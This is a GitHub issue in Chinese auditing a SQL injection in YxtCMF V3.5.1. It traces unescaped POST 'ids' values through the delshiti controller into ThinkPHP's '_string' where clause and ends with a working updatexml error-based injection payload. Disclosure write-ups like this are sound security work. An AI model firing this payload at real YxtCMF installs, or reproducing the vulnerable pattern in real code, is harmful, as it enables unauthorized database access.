XiaoZhis / ProjectSend

0 stars 0 forks source link

对YxtCMF的简单审计-SQL注入 #4

Open XiaoZhis opened 4 years ago

XiaoZhis commented 4 years ago

漏洞版本:YxtCMF V3.5.1

源码下载地址:http://down.admin5.com/php/133101.html ,可在安装后再从后台升级到3.5.1.

YxtCMF在线学习系统是一个以thinkphp+bootstrap为框架进行开发的网络学习平台系统。

漏洞点在:application\Exam\Controller\ShitiController.class.php

260-284行:

function delshiti(){ ........ if(isset($_POST['ids'])){ $tids=join(",",$_POST['ids']); if ($this->shiti_obj->where("id in ($tids)")->delete()) { $this->success("删除成功!"); } else { $this->error("删除失败!"); } } } 当$_POST['ids']存在时,会执行一次SQL查询

$this->shiti_obj->where("id in ($tids)")->delete() TP框架调用PDO的where方法时,如果是传入数组时,会自动addslashes,起到防御SQL注入的功能,但是此处用法是直接传入字符串,就会导致防注入失效。

public function where($where,$parse=null){ .... if(is_string($where) && '' != $where){ $map = array(); $map['_string'] = $where; $where = $map; } .... return $this; } 失效的原因是因为$where变量赋值给$map数组的_string索引。

等同于$where['_string'] = $where;

而在 yxtedu\Core\Library\Think\Db\Driver.class.php 中 624-651中:

protected function parseThinkWhere($key,$val) { $whereStr = ''; switch($key) { case '_string': // 字符串模式查询条件 $whereStr = $val; break; ...... } return '( '.$whereStr.' )'; } 当数组的key为_string时就不进行addslashes处理。

最终payload:

http://localhost/yf/index.php/exam/shiti/delshiti

POST: ids[]=1)) or updatexml(1,concat(0x7e,(version())),0)%23